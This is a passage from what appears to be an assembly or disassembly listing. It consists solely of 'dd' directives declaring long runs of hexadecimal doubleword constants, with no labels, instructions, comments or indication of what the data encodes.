		dd 1DD0084h, 9EBD296Ah,	0AA419B64h, 12EB0940h, 0A500A146h
		dd 659BE5FBh, 985323D2h, 37430CC6h, 21123FA2h, 8C40FA50h
		dd 34E1A100h, 0B3296C15h, 0A64CA1E2h, 0B6569910h, 9E61A100h
		dd 96E420F6h, 17540A25h, 3DC327Fh, 4335401Eh, 2403317Ah
		dd 0D4160C49h, 0FC63B00Bh, 7BA83CABh, 1709C505h, 0B8F84034h
		dd 72A1C491h, 387E50B0h, 0C044E748h, 34D52545h,	765E0153h
		dd 28494D35h, 0AC9ADC4Ah, 9403E298h, 467498ABh,	7E300E30h
		dd 0D4C073D5h, 6CCDF8A3h, 9A244718h, 28D84851h,	680E367h
		dd 0F649F032h, 0B0003888h, 3593F862h, 75F33930h, 83C80027h
		dd 0E77BAA6h, 160C332Dh, 58A4FA20h, 0ED7908B7h,	0D803236Dh
		dd 0B33931FDh, 0B739002Dh, 11B661BFh, 0D80D0787h, 49706264h
		dd 72F18C0h, 3FC90212h,	0FD8A2F44h, 0E5264118h,	0A002E814h
		dd 0C1ED2330h, 0E36FBBh, 33B2C30Bh, 178389FEh, 682D48h
		dd 0A7BEA456h, 23B72ABh, 5439986Fh, 23412BEBh, 793CF838h
		dd 2F134103h, 0F44B4816h, 7BB94486h, 0CB208887h, 9CBBBF2Ah
		dd 30058CA4h, 97AF7821h, 0C41FCC20h, 7067F0AEh,	1E410372h
		dd 0EAEF5D70h, 0F4A19892h, 10271722h, 4FA0DC5Ah, 2AF9B87Ah
		dd 93F89C1Fh, 22F9C512h, 53690820h, 925E0986h, 0FD55C0h
		dd 0A177C96Dh, 8C730079h, 45F87A36h, 0B93D23EFh, 1A38E0B2h
		dd 24990F85h, 1C000932h, 0A2AC4755h, 7FB2A037h,	0D0711E79h
		dd 14A9EA02h, 0C0911AB5h, 33D71h, 43AA0663h, 68897312h
		dd 80FB0D00h, 4BC554FEh, 0FC6C7949h, 6E4124E0h,	0FED5414Ch
		dd 0DD48C0C8h, 33C56202h, 44494003h, 21223098h,	4D8213D1h
		dd 8D3F120Fh, 327C002Fh, 0A5929Fh, 0F4D59385h, 0E8215566h
		dd 222060D1h, 56C00076h, 1F79B144h, 0FE00A5D3h,	0BF4D6E51h
		dd 382B3BD5h, 0F3003199h, 0AD29D015h, 2407ECD3h, 3A38D990h
		dd 356F2550h
		dd 36740039h, 0F1188528h, 6000B14Ah, 0B3E2F931h, 740CEE62h
		dd 278400E6h, 2E4BBE83h, 4207E55Fh, 34D82C02h, 0FAEFA270h
		dd 44290022h, 0E4A823F9h, 17E828B0h, 0FF3A14F8h, 35027CE3h
		dd 218A8FD4h, 2460C0EAh, 0A277F87h, 72AEE4A9h, 0A71118h
		dd 0BC256F6Bh, 1EA16803h, 0C1F524F9h, 270A891h,	4F01773h
		dd 1F4C50Ah, 0FC2F1108h, 0D72E1D10h, 3ACE2100h,	0A41480A2h
		dd 117D0CFFh, 0BF60E777h, 6C841F00h, 74D7055Bh,	0EC7C0470h
		dd 81F13D62h, 0BB32286Fh, 273090D1h, 4F6C3A00h,	31107CE1h
		dd 2A07B10Dh, 3A40688Eh, 0BD3BA55h, 641B62EEh, 16272B00h
		dd 6975EFA8h, 2E490519h, 0C5201A49h, 0C7C5037Dh, 0B37AFEF3h
		dd 8406082Ah, 0FE6D9D30h, 84B960h, 0A98AE415h, 78457F8Bh
		dd 4705A700h, 27CA6A90h, 3F81C7ACh, 0A4A2810Ah,	0BCA48037h
		dd 0D1AE9ADBh, 76B70020h, 6FE26C53h, 77EDC78h, 50835B00h
		dd 34486A63h, 875438EDh, 0ADC1DE83h, 0AA8E572h,	9E7D5609h
		dd 0BA7A6E0Ch, 930844h,	0E0E57184h, 0EE020832h,	182B5858h
		dd 3E384081h, 0F94800EDh, 7F43E9A7h, 0D6004F42h, 12948F37h
		dd 822DECh, 198564B4h, 9EE29F33h, 4FE5491Dh, 8DACC903h
		dd 3EEDE093h, 15470D29h, 0D96A51B0h, 0B3788083h, 0C70CC303h
		dd 8CA60085h, 0ED766D26h, 5503893Dh, 58EA401Dh,	7120017Dh
		dd 78349049h, 11204E8Eh, 57829461h, 84B07C87h, 31110901h
		dd 0E8880CB2h, 80F8819Fh, 7756C827h, 18F604EAh,	41F1D745h
		dd 39001190h, 9F22EEF9h, 2D89B578h, 9C60C2FCh, 9B549225h
		dd 0C1001B9Ch, 4CA6B29Eh, 0A7BD595h, 2C65C46Ah,	0AA004B0h
		dd 41FDC0A8h, 0F200597Ah, 0C1D22ECBh, 3C8E4085h, 0AE80193Bh
		dd 0E649874Fh, 0A0C08078h, 511D9A3Eh, 4B43CC8h,	4D7F500Ch
		dd 1200AD18h, 570E7C4Ch, 1D90F549h, 18F4B9F2h, 248821D4h
		dd 0A900A5E0h, 0FAD04328h, 9AC14Ah, 807F78CAh, 0ED466979h
		dd 0E0EF09E8h, 0B0FC732Ch, 0C01D2907h, 0EAC77A5Ah, 31026D4Fh
		dd 0EEE060E0h, 9B205C69h, 17049E0Ch, 57606308h,	3084B30h
		dd 1F101A7h, 6E59D6DBh,	0E553D8F9h, 0DC7F241Ch,	9E6C8643h
		dd 7E2CD921h, 756859B2h, 6FDCDE31h, 22CF4620h, 6411C58h
		dd 0E73CBF03h, 8721A4h,	70BF85EAh, 8C60FB25h, 30AAFE49h
		dd 0C0CB0066h, 0EED8E74Fh, 0F9006198h, 7F7B425Ah, 0C09D2206h
		dd 94152979h, 1B001CB5h, 2B144677h, 0A00D4583h,	577990h
		dd 0AAE93EDh, 98CBB1BBh, 0FC6E3Eh, 0A9BFB611h, 781C93Bh
		dd 0A44A8204h, 0EC45702Ch, 60C094FAh, 531B090Fh, 19B8A846h
		dd 1259073h, 634BF55Ch,	0D14ADDF9h, 1E219E35h, 6F94BEC1h
		dd 0D1815305h, 9A4FD884h, 619FC081h, 2DE0FDE8h,	0B4E15300h
		dd 8CCB677h, 314F60FCh,	0B09BE995h, 0EA00CEF0h,	0E084505Dh
		dd 1D2460h, 9E490DECh, 58794371h, 85CFBC02h, 0A893D16Fh
		dd 46749088h, 75C90016h, 8D565FA3h, 46CC1DD2h, 591701Dh
		dd 0AC00B58Ah, 0FD566D03h, 0AC695AE9h, 8E277FCh, 662F0C4Bh
		dd 0A4558h, 0ADBB5303h,	2FFAA552h, 0EE2E7E05h, 9C404251h
		dd 0F9B48AEFh, 8F82E90h, 0FA100A5Ch, 8CF114F8h,	9FB98680h
		dd 5B0729DEh, 845E088h,	0AC309497h, 4710F0h, 480B67Ch
		dd 0C8099650h, 61C22CE2h, 4036EC71h, 0A5EF85h, 0F48BF09Dh
		dd 463D448h, 9AB59B00h,	4E7A078Fh, 0B06C4967h, 0D71A2000h
		dd 3D5DF219h, 853A6B76h, 2114313Eh, 33E87769h, 0FCAF00E3h
		dd 0F363B22Dh, 40986BE6h, 8060EB28h, 79D2800Ah,	58402C48h
		dd 46F21B5Eh, 3D13220Dh, 11067023h, 8B0AD30h, 68303877h
		dd 12EB5155h, 1A6F0234h, 70C8FBD2h, 49CE3448h, 97F7BF00h
		dd 0F0E4BC7Dh, 0B9A90394h, 7FC3F9D0h, 88A145F2h, 0D46826A3h
		dd 0E815DD25h, 9EE88C5Ah, 207A84BBh, 5A326527h,	3055E20h
		dd 321400A4h, 84F882EDh, 7609D170h, 20F738EEh, 0F54C80D4h
		dd 0B8C4A0D6h, 865500DBh, 0C4915221h, 11003F4Ah, 0FB07B027h
		dd 436781h, 9EED06B9h, 13264D18h, 25B47F0Ch, 191740F8h
		dd 58F692A8h, 3CF2D446h, 3036FF4h, 3ABCC9ABh, 68908421h
		dd 0F24437h, 3F5DC5D3h,	6118526Bh, 0C225EB02h, 0B0477A05h
		dd 115EBBC4h, 8895F224h, 73168F11h, 0CBA0F40h, 1E0FDF5Ah
		dd 4FF8835Dh, 0DE48E043h, 93E8C9AAh, 97067088h,	284B4F00h
		dd 0ED65DFFEh, 38EC04D6h, 85715CC3h, 8168848Ch,	20663336h
		dd 0FC078000h, 240E394Ch, 56F92C31h, 0D60D5087h, 58C93EC8h
		dd 17371800h, 83001178h, 0FE415E5Ch, 98A153BDh,	6D7A0218h
		dd 0B273072Eh, 0A010209Ch, 67C57D6Bh, 0A4884172h, 0D05A274Eh
		dd 84F436C0h, 7F38FF0Eh, 0E97AE508h, 56C83C8Bh,	7E52BC0h
		dd 7EA3090Eh, 53006F0Bh, 4A2A8EEh, 22005B4Ch, 0C2140180h
		dd 70646E43h, 77832AFh,	5CD4CAAEh, 8088B862h, 28A4794h
		dd 14782497h, 0CDD80B34h, 18705811h, 2B56EED1h,	11D4070Ch
		dd 0D9420059h, 0B3148D02h, 0FD6C1C40h, 0B92846C3h, 53125815h
		dd 0A84143F2h, 7683D02Ah, 0D6CB8082h, 0A88E1688h, 27562158h
		dd 380BC130h, 0B04B4D05h, 1B467CDDh, 180FFC87h,	7C57AD80h
		dd 0B37D7F00h, 418284A0h, 0BF7526h, 18235515h, 6B3A8825h
		dd 4D5D0803h, 0B8F7CF66h, 1E51CA1h, 3F44C63Bh, 0C8071E2Ah
		dd 98F283B1h, 1741700h,	0ADE03E7Ch, 2F22F6C0h, 0EFCC710h
		dd 39B8E100h, 4997F5h, 0B9FC56E0h, 0F0CC2502h, 1B2D461Ch
		dd 0A8501EC0h, 2B8431h,	2AE9FFB4h, 61BE4075h, 9A6D6600h
		dd 6037EAD8h, 0CCA100B6h, 0DC25099Fh, 0B3003E67h, 4F739874h
		dd 0DF9092h, 0C087D4E5h, 0A3B4ABB6h, 7EACD907h,	0FEB07086h
		dd 767AC6B1h, 0A6F00F1h, 0EE4A2201h, 0AE0E2BE8h, 91E082h
		dd 142EC5FBh, 74CBF8F2h, 7AD50027h, 5CDB17E1h, 5D797CCCh
		dd 0D61AE607h, 5081C8BBh, 4AE0E248h, 0EE4E009h,	0EE40229Dh
		dd 40B2EB27h, 59BEAFAAh, 18CA9C30h, 728DAD5h, 0A85CD714h
		dd 0E5CB8044h, 5500A4B3h, 0F1EE2073h, 2E9AC28h,	3BD3616Dh
		dd 42007B47h, 3E9729C4h, 0D81E4EABh, 0A1CC07DEh, 0A4758194h
		dd 0EE0C3069h, 2EB23B00h, 0D2B3ACA7h, 7E7A311Bh, 0B2F92640h
		dd 98F170F0h, 64A5704h,	0AF4FC61Fh, 0F03ED85Eh,	49F9002Dh
		dd 0A4794CEDh, 0F1BF00C5h, 227F4020h, 44072998h, 0CCC3D574h
		dd 2F9613h, 602A4330h, 0E6C6BA7Bh, 0F7C8E113h, 40E94A00h
		dd 1572F994h, 28774DCBh, 0CD9C280Ch, 0C0A1EE19h, 0C8A9824Eh
		dd 27ADF7F3h, 0D9C31243h, 0DC626098h, 474E2906h, 44A848EDh
		dd 941A425Dh, 586F9Eh, 26CC6590h, 615EAD5h, 0C4DC6052h
		dd 89879F8h, 7CA4D2E8h,	58458F9h, 2B79CC63h, 577B3C7h
		dd 1F299719h, 7C844775h, 1B57F090h, 84640B4Ah, 7D324B90h
		dd 2A471834h, 780A4923h, 0CA8D0C18h, 9ED438h, 3DCBE92Fh
		dd 392EBA77h, 544F6528h, 0FBE47828h, 40318E6Eh,	40F6C6C1h
		dd 52B2CF5Ah, 0DD4A5958h, 0EC394B60h, 2D40828h,	50FC429Fh
		dd 0CC80C458h, 54F4AF9Eh, 2E6F11C0h, 3BE7C7A8h,	4E8C8AA4h
		dd 9A56CAC6h, 4D0056E8h, 0D2E6A509h, 6FA7E8B1h,	5F01D0FBh
		dd 0C5C4D4F2h, 32108FD6h, 0AB56E308h, 0CDD2E025h, 34A87F6Eh
		dd 0D6868C7h, 6BC12094h, 0E9D329B0h, 552C72C0h,	0F801A029h
		dd 58941541h, 7788804h,	0E45FD1B0h, 0D8981CC5h,	30CF149h
		dd 0ED6FA31Fh, 0BC80FCF0h, 505F5249h, 7DCA8467h, 0D2C11DF5h
		dd 0FF803FBDh, 0BFD0601Ah
		dd 0D4121876h, 0CC4A4AB9h, 0C5F94070h, 6829D503h, 481040D9h
		dd 0CC66A41Eh, 0A818C6E3h, 894D4A3Dh, 2965CBFDh, 3968464h
		dd 575F3091h, 28105446h, 44BC86B8h, 92268B93h, 40195026h
		dd 70C12B41h, 7616D087h, 20B14DA4h, 0FA223410h,	0C0CF2895h
		dd 8BD4110Ch, 0CA241094h, 6911884h, 5CC931D9h, 0F22BB8A0h
		dd 38477204h, 431004A1h, 0E67B640Fh, 6FF58F80h,	58889021h
		dd 32B2B033h, 0D508436Dh, 5C11C84h, 0F007EAE4h,	20CAC59Fh
		dd 84017CBFh, 0CDAD200Eh, 55D0F2B8h, 7098CDEEh,	0C85094A1h
		dd 4CCC2A18h, 79413483h, 0AB8040Ch, 6390ED1Ch, 1843F64Dh
		dd 8104550h, 0DC525560h, 63044208h, 0E24E2070h,	0E14486F9h
		dd 300482C9h, 4C4BD51Ch, 86598F8h, 0DE0C4A76h, 4C543E14h
		dd 7180C868h, 0B05014EFh, 1D988EF9h, 41818C1Eh,	0FD2653AEh
		dd 407055DAh, 0B1CED2F8h, 0A1FDF225h, 1772FC08h, 0BC007E04h
		dd 1048EC4Ch, 400ADD49h, 8FF83B7Fh, 830017FAh, 9C33C9A8h
		dd 7B44990Eh, 20156F9Ah, 9691DDE0h, 3A0E6FE6h, 98BAA846h
		dd 339F2218h, 1A38D7F2h, 757F5118h, 6098DF59h, 0A2AB495Ch
		dd 0F0EF13D7h, 61064D54h, 22F54989h, 0D0980661h, 111B8079h
		dd 0E69B4E1Eh, 0AC243AC0h, 0CEF3EAE3h, 8B86A969h, 0A800489Ch
		dd 0EDD194FBh, 3ECC86A6h, 8671C78h, 0D3924005h,	2D008A5Bh
		dd 491F8266h, 61479EBAh, 68DAA04Dh, 810C71Dh, 0D70679E0h
		dd 0C15D7F36h, 90648CCh, 10EF079h, 0BA1002D9h, 7098087Fh
		dd 2B3CB7CEh, 0DFC0807Ch, 10B627A3h, 1E95285Eh,	6924038Eh
		dd 1349046Ah, 933BD901h, 9B3FF0CCh, 43B28C40h, 1D607C1Bh
		dd 0C01E4A24h, 37A84D5Ah, 89C05190h, 2FBB14A6h,	9CBA0752h
		dd 90CA2E11h, 4BBEA33Ch, 29589030h, 28306F60h, 0F3607F9Bh
		dd 0E95DE3C3h, 3882163Ah, 0DD2F33BBh, 0D4A29A60h, 5F9B441Ah
		dd 16700330h, 0B205A00Bh, 14380333h, 0FF5D2DBDh, 5F234CC0h
		dd 0A128B31Eh, 4BA82C03h, 87210179h, 99BA4CB9h,	0E750400Ch
		dd 0ACA136E0h, 0D7AA01CBh, 40D15080h, 0D5EA9ECFh, 5DF98E00h
		dd 0A82D3795h, 853892EEh, 0B51033A8h, 0E0B31BF1h, 0F12A5453h
		dd 7F30A83Dh, 335DC128h, 3E07291Ch, 0A46762B8h,	803A9918h
		dd 9300B51Ah, 0E4B0A849h, 3B2CC9h, 0FBF49FA4h, 10D74F70h
		dd 0E609AA02h, 416793B3h, 59806C20h, 0F08D8FA9h, 0A4A05264h
		dd 0F4E9176Ah, 0BE01409Fh, 3F658BB2h, 0BBE0A4C8h, 0C07671BAh
		dd 0CBC9E2C8h, 85002D1Fh, 34D703D8h, 927F980Ch,	80F07450h
		dd 99195E5Fh, 0E10177Ah, 0A804B842h, 0BD11B890h, 3C31D930h
		dd 2DE8CBAFh, 90DCD548h, 4F180CD8h, 5255085Dh, 109E8C50h
		dd 0A48C04A5h, 211A98BAh, 0CBC40C40h, 3E1C81D4h, 121848A6h
		dd 3071C98Ch, 29A84099h, 0E7520A2Ch, 904CC32Eh,	28A83CE0h
		dd 28666036h, 71B7F1h, 0C8511B2Dh, 0B49147A9h, 5D57181Eh
		dd 0F4C92583h, 0E640301Ah, 187195D9h, 33A0A306h, 31B1437Fh
		dd 8829CBCCh, 1809103Ah, 11916034h, 5E1A065Dh, 801F6020h
		dd 7479E658h, 0BB90C863h, 8A9FCCC3h, 0F8F080E1h, 0F663B7BFh
		dd 470A033Eh, 0BDCFA0A7h, 18B52001h, 6637619Ch,	7F6092h
		dd 26B0CA8Ch, 4724CB75h, 5015C4B5h, 0BD980194h,	0B6B387ADh
		dd 0EC3471A8h, 689B5437h, 0B01E5460h, 88B1DACDh, 212E5C40h
		dd 0F0FEB0A9h, 5B7AB345h, 540A3F00h, 9E0540ABh,	0A0675009h
		dd 38C148CAh, 8480D515h, 0F0289075h, 7D11F1BEh,	7842025h
		dd 80207F4Ch, 1005D8AAh, 1AEC304Bh, 205BB581h, 97A01950h
		dd 2E10CA61h, 0A8E072CBh, 90441209h, 77C8331Ah,	823E8BE0h
		dd 5E233Ch, 0D502B3DEh,	2A7648B0h, 54C82695h, 749810h
		dd 6523D79Dh, 9A110ADEh, 3E4C0559h, 30A0009Fh, 0B238762Eh
		dd 18AB6050h, 135249FEh, 5C0088A4h, 9E59268Eh, 1D1E86A0h
		dd 13B56897h, 65FC4053h, 335726A6h, 1497B3Eh, 0AE13361Ch
		dd 11E0AB2Ch, 387E6Bh, 0CDF9EA8h, 3E75B96Ch, 552EC275h
		dd 733FF4CFh, 59882762h, 9FE88095h, 49348635h, 0FD0050E7h
		dd 8C47D065h, 2819BB0Eh, 81085854h, 48A7B850h, 0C17201D0h
		dd 479FA38Dh, 3BABD060h, 44D79A14h, 25F01034h, 0CE4CA844h
		dd 0C0506C68h, 6481D063h, 0EF608C5Fh, 0D0A59D21h, 0B01358ECh
		dd 20032A01h, 80E33395h, 5206D521h, 378FB26h, 4A3E81A1h
		dd 8005496Fh, 0BEB527BDh, 0AC3C8011h, 0FB6728D8h, 0F6F40CFBh
		dd 96C95378h, 0A2273600h, 48700A0Eh, 13721CC0h,	0B78580D2h
		dd 82102ED6h, 0E27B5400h, 0C98AB9B0h, 70CB0014h, 0D22505D4h
		dd 20001009h, 92C144E7h, 3E64D673h, 0D480A5B3h,	0BD8B8EFDh
		dd 5D7DDE41h, 0CC0DA307h, 0D1805C6Ch, 96227Eh, 7BA47F31h
		dd 1E63CDF6h, 998C2400h, 8250E7F0h, 9A76C1h, 5389A49Eh
		dd 3CBFAEB9h, 0B89B4103h, 0D8E2798Bh, 1945A1h, 71883584h
		dd 5B7503D4h, 0E6DF1807h, 0B630BE70h, 0C95043h,	310A8925h
		dd 0F221029Ch, 6B8B3D00h, 1B0E7616h, 7EA7145h, 0B9502CB5h
		dd 0E6EFF33Bh, 2F44003h, 0E05B6B04h, 0C073E746h, 4AAF6658h
		dd 0B800F856h, 0E8E1E616h, 1E78B361h, 70911BE7h, 0A2E58728h
		dd 3F1CB83Eh, 20D40BFDh, 5B750E0Ah, 481900D6h, 15BC8354h
		dd 2A00F845h, 10383BCEh, 0C1E9258h, 307FA2F5h, 5D007D98h
		dd 1A9967EAh, 78D0F074h, 802189Ch, 0DF61207Fh, 3E6DEF06h
		dd 2AA872C9h, 2C8475DEh, 3BBC406h, 0AEE7A20Bh, 8000E483h
		dd 0B3F6F37Bh, 0E97144h, 0EA17F910h, 0BC7F50E0h, 80F3C9C0h
		dd 713BBh, 95EEAEA2h, 0B5A4EAD8h, 19D0D600h, 55A1C3A0h
		dd 96E3003Dh, 3CABA79Ch, 5101DCE4h, 5D4BE870h, 0C0F2E60Eh
		dd 0EA270B7Eh, 6A4EEFAh, 0A5EB3D1Ch, 0E003162h,	8A1778DDh
		dd 33B045CAh, 770872E5h, 6A272100h, 0DAA8CE78h,	16C700A6h
		dd 958AB7A4h, 5237340Dh, 0D0202893h, 273208h, 0A4BA2B97h
		dd 0B2F3DA05h, 9D4E5A01h, 0E43D1DE8h, 18E760DCh, 38AEB379h
		dd 6E001AFCh, 9923FA9Bh, 74545FB8h, 597D6088h, 426E321Fh
		dd 36D2F000h, 0B5111684h, 6E4F7A3Fh, 2840D093h,	25917DB6h
		dd 58DCE130h, 3608DDEAh, 3811B944h, 326BA01Eh, 19A87BC1h
		dd 0A5D175B8h, 91B62180h, 0ABAC9A6h, 0C85ABD00h, 98B32D7Dh
		dd 0CC3E048Ch, 80724EE1h, 0F4E5A4F5h, 7CED6B00h, 0B32ED279h
		dd 0FFF0C1AFh, 85451E83h, 65FEB488h, 0BD28A040h, 2AEA4F31h
		dd 0CC0BB69h, 17432EE3h, 0FD002BC0h, 31D48B90h,	0DA3CB1h
		dd 264CFCEh, 446013Ah, 0BB351E01h, 136168EEh, 6C31E8DBh
		dd 5BAC003Ch, 3983A9DCh, 1C0005F0h, 733A760Eh, 0B832B167h
		dd 0F57F0094h, 0D11A17E3h, 5D00FDA7h, 0C10721BBh, 392A090Ch
		dd 0B280D8FEh, 28D364F7h, 60002BB0h, 0A0CCF94Eh, 154102h
		dd 821D0EFAh, 0E83C330Bh, 5C5D4700h, 0B03F8FE6h, 16BE87Eh
		dd 0B30C469Ah, 80320D7Dh, 66D5DF11h, 3884B002h,	62805D87h
		dd 0A5DA0DA7h, 2D00F0FAh, 5EBA449Ch, 3D4D5576h,	49095FF4h
		dd 73833E32h, 53A3E709h, 50686CE3h, 7D780458h, 678E008Bh
		dd 0C61C3A47h, 0A1011AB9h, 6B3DABE0h, 0A0D73F72h, 0EE226352h
		dd 3A5D0CDDh, 0D429E0FBh, 27B31084h, 86E216Ch, 88819D3h
		dd 284C9484h, 0CB08DA21h, 707C88F5h, 29B4FD8Ch,	89594406h
		dd 8D827A74h, 0DE128B4h, 3C6AE0h, 0E442FA65h, 0DD7D215Eh
		dd 5B88AC00h, 5F94834Ah, 0C6660098h, 2B10A5CAh,	0B00C037h
		dd 1F31A0A9h, 9F17ED50h
		dd 0FD138060h, 2DD58C00h, 6DDF4C35h, 1697FE8h, 91A1E43Eh
		dd 7ABBE161h, 8A395FC0h, 217B1409h, 4B02EDA7h, 0E63B1254h
		dd 79899180h, 4001DB5h,	0A5522A78h, 1177A68h, 0B3FA8640h
		dd 0D4C9A2CEh, 570033A6h, 0D6E11BF8h, 8F7865h, 0C2D97095h
		dd 1E8EA232h, 1780DA00h, 94395275h, 2B560089h, 8723F2E5h
		dd 0D604F9F1h, 69DA4661h, 0A0D1DC0h, 0CD2200FEh, 0E6CEEB77h
		dd 0AC004A02h, 0EC81378Ah, 0DB3CA8h, 9371BBC2h,	64FC8F07h
		dd 0D59A4B00h, 0E6028D18h, 249D0089h, 575AF196h, 3F0016C8h
		dd 0F94899CAh, 272BDEh,	266469EEh, 6EBB016Ch, 56307800h
		dd 0CD48A9E2h, 0A5500A3h, 0AC6FEB13h, 9103B951h, 0FB3990B1h
		dd 8816884Dh, 9C810122h, 7BAFD08Ah, 0D59630B2h,	0DE00A2E4h
		dd 5FF1630Bh, 51CE197h,	438EB96Bh, 0E813C061h, 7B00D157h
		dd 1BD5D736h, 0B66F2CAh, 3E3F0AE0h, 0BFF90980h,	10004E99h
		dd 31A2434Ch, 24BD5Bh, 3781B569h, 665265C9h, 0B0482D00h
		dd 0CFAD7EEAh, 242C00F8h, 0A88E9807h, 90C0714Ch, 5150D653h
		dd 0AD920023h, 0F366A556h, 5802FC9Ah, 0E770E5E6h, 17A1C015h
		dd 0F29203C6h, 0C36E7F1Dh, 0BC416480h, 67BF13Ch, 0AA3EB0ACh
		dd 0D3C00F68h, 154FDA91h, 82C20C40h, 0A506D065h, 0AFF92D87h
		dd 52580052h, 806792DDh, 0CD09B6BAh, 8A68C217h,	8801D87Ch
		dd 0D4F1CA31h, 83FD4DCDh, 7E54D8h, 0E3C81EF0h, 1D94479Ah
		dd 15CACF09h, 7902060h,	0E27421h, 657899FDh, 71258E81h
		dd 729D8200h, 0AFF2E0E4h, 0F8A61E67h, 0F7D80F6h, 2A95B1A7h
		dd 0F7E08EFAh, 0D6172607h, 2C00CD82h, 128038h, 365B070Ch
		dd 62D0B3C3h, 0FB76700h, 0ED54E27Dh, 9B0C00F7h,	515E08F6h
		dd 0E13B4C74h, 3BF2830Dh, 9FA3CBADh, 86630CC0h,	0D3E50096h
		dd 0E83EB27Dh, 7801EB98h, 3AE7D901h, 0CCF04FD8h, 0B894008Eh
		dd 82A93541h, 3100ABBBh, 0CB99E1C5h, 0DCF39Ah, 3FF072FDh
		dd 153037A4h, 0A6C1131Eh, 58DDD980h, 2F2AA11h, 8E90A77Fh
		dd 907C84FFh, 415E611Eh, 0D938B800h, 2A6402h, 22DA361Dh
		dd 7DB1575Dh, 5FE25800h, 3A15392Bh, 1AF640h, 0A10DF20h
		dd 6F324764h, 0AD05BF00h, 0B9EE1BA9h, 0AA5E07FAh, 70843153h
		dd 0E78EF968h, 820E50E0h, 4EF56B0Ch, 93F8831Dh,	6E80ED2h
		dd 4A6778A8h, 40607EE2h, 0A3F13D0Bh, 52E7921Dh,	2AF55880h
		dd 0F2E13Bh, 0C47AED59h, 87EF5022h, 0EE3DC000h,	12C6719Fh
		dd 9D7200F2h, 0FC738370h, 272D35Dh, 32643102h, 0E05A4F53h
		dd 0F28A99h, 75CA87DDh,	6C3DB42Ah, 0C5103B1Ch, 0AA6644C0h
		dd 0A5D1B2h, 7B27851Eh,	12AE67CEh, 0C569CB00h, 2EE1FE22h
		dd 38FEC09Eh, 7A3C4EC2h, 0F7E03607h, 0C45052D4h, 587EC042h
		dd 58264C25h, 3306002Bh, 0B8305A26h, 75BA0400h,	903A7464h
		dd 19FA007Ch, 345CFCC9h, 5008B13h, 0C576529Ch, 13D981F2h
		dd 1D2316h, 0A5E9319Ch,	0AEE07153h, 2D824B00h, 6B545D70h
		dd 580409E7h, 1F05BDF1h, 0DE920043h, 0AD2B3666h, 1AEE1600h
		dd 0E46412Ah, 5B7F003Fh, 969B42E1h, 0A7018522h,	43DC5687h
		dd 0B06F7D49h, 623D1FB1h, 0CBBA8034h, 0F34C7196h, 98D85003h
		dd 38CFA4Fh, 52B429E5h,	198BCAAh, 0E6019756h, 0FD587CDAh
		dd 1189482Bh, 4100D2E7h, 0B6948BDBh, 0B13C3B02h, 0E0E9FBA6h
		dd 0EA6DE5CEh, 667986h,	81F5FC0h, 0A96F6381h, 20B2E851h
		dd 14006DACh, 9720A115h, 589436h, 0F1B19DEBh, 2ABBC166h
		dd 0FBA4A00h, 0EA0BE4CAh, 43AF4C39h, 71570707h,	752D81A6h
		dd 0E040607Ah, 8C323F28h, 55CC7200h, 14064507h,	0CEAE0028h
		dd 0C3A47DD2h, 3B38E134h, 0A60F8217h, 405DD3AFh, 4853A771h
		dd 0C6003061h, 0A524C968h, 85133899h, 0D8004D13h, 0E70FE28Fh
		dd 55A8075Eh, 0D0E85C7Bh, 0E6F6FD39h, 48B5A400h, 0A3BF1A33h
		dd 0D824E741h, 0A9708864h, 0A558E300h, 0C041908Bh, 489F0081h
		dd 0E250430Ch, 0CD0F6A18h, 0E0C4956Fh, 0D96EBEA2h, 2C7700DAh
		dd 114E4030h, 0C300E682h, 28B1366Fh, 1F542174h,	40EBD14Ah
		dd 6613AB6h, 9C00B240h,	5B156B0Dh, 0BBFEE9h, 0A07B0A8Eh
		dd 0CDAF776Fh, 2AD97500h, 9DC81D6Eh, 0FCE400A2h, 9B0B5525h
		dd 800343Ah, 652E4EF4h,	1B88AFh, 0EE429D04h, 203D21Ch
		dd 8BE5B201h, 91F5A051h, 80E830h, 0C3C41209h, 0BA5CE007h
		dd 68F0B7FEh, 5B165700h, 0EC8A7148h, 0E38E8A6h,	2E47CCD8h
		dd 40BA2A0h, 0D600D7F5h, 0FD30D458h, 208B3D28h,	87721DB1h
		dd 41493C03h, 8C605CE9h, 54EE6300h, 20004589h, 28B666FDh
		dd 0B0762E1Ah, 0B76C00E8h, 0DDC88878h, 0D50B5D01h, 0F671B3h
		dd 6D063120h, 0D4C00CFh, 9DD15B46h, 8C0B5AE5h, 83E11423h
		dd 0C91FDEh, 0F7FA5DCCh, 0EE5E44C2h, 52FBD318h,	0A07C8h
		dd 49132167h, 0E7C9655h, 38927200h, 2D71F95Fh, 1D361CC3h
		dd 0EDC20051h, 41F831BCh, 8C202100h, 0CFFD5290h, 92F68Ah
		dd 1A51A340h, 0C5AA3B43h, 0EBE9BC0Ch, 0E1117Eh,	66477083h
		dd 8EB188E3h, 18FB3316h, 0CD67F00h, 77B8B7Ch, 89D2C503h
		dd 5000C9D8h, 0FB35DB92h, 8F579700h, 0D939CDEEh, 40AF60AAh
		dd 22CCBC15h, 0B400F89Ah, 469A8573h, 117FE79h, 0F24FB54Eh
		dd 31E59E90h, 0DDE0E4E8h, 0CDD72C00h, 0C33BB9C4h, 8F0F016Ah
		dd 626EE394h, 907A2009h, 23DD518h, 505218h, 0B72E869Ah
		dd 0A5E07257h, 970A0100h, 1E614158h, 1CF7B5Eh, 7F2CB0DAh
		dd 8019DCC4h, 490C3A10h, 1866EE87h, 500BEC8Dh, 0EA097FD7h
		dd 3625FAh, 1F67BE94h, 0F8DC006Dh, 9933540Eh, 29003F8Bh
		dd 0E581A7D4h, 1895153Ah, 58E470BBh, 79025ECCh,	0D87E46B9h
		dd 0CFF04073h, 0D36E00A3h, 5FC38018h, 7800BB2Eh, 0DC0CB7B6h
		dd 9899AE48h, 437310h, 47AF33BEh, 6CD17138h, 0D55FEF00h
		dd 0DCE3C786h, 74270061h, 29139591h, 0E003281h,	0A5B50F01h
		dd 2E9D03DFh, 0A10DB7h,	0E1CE47B2h, 7E07D36Ah, 801A6BEBh
		dd 7810B080h, 3223078Bh, 70A3C1BBh, 34634EE8h, 3ADCD600h
		dd 26259985h, 0A1F500FCh, 1B2D42BAh, 820460B4h,	9EA0BFC7h
		dd 217EEC80h, 69790004h, 0AD3FB77Ah, 0A3581810h, 80573B56h
		dd 2E31ED81h, 5040F5h, 0A1E013DDh, 0C453C5B3h, 92B0A400h
		dd 4DEA1837h, 78B01Fh, 2EF2E2Bh, 0DB39C1FEh, 0F00005EAh
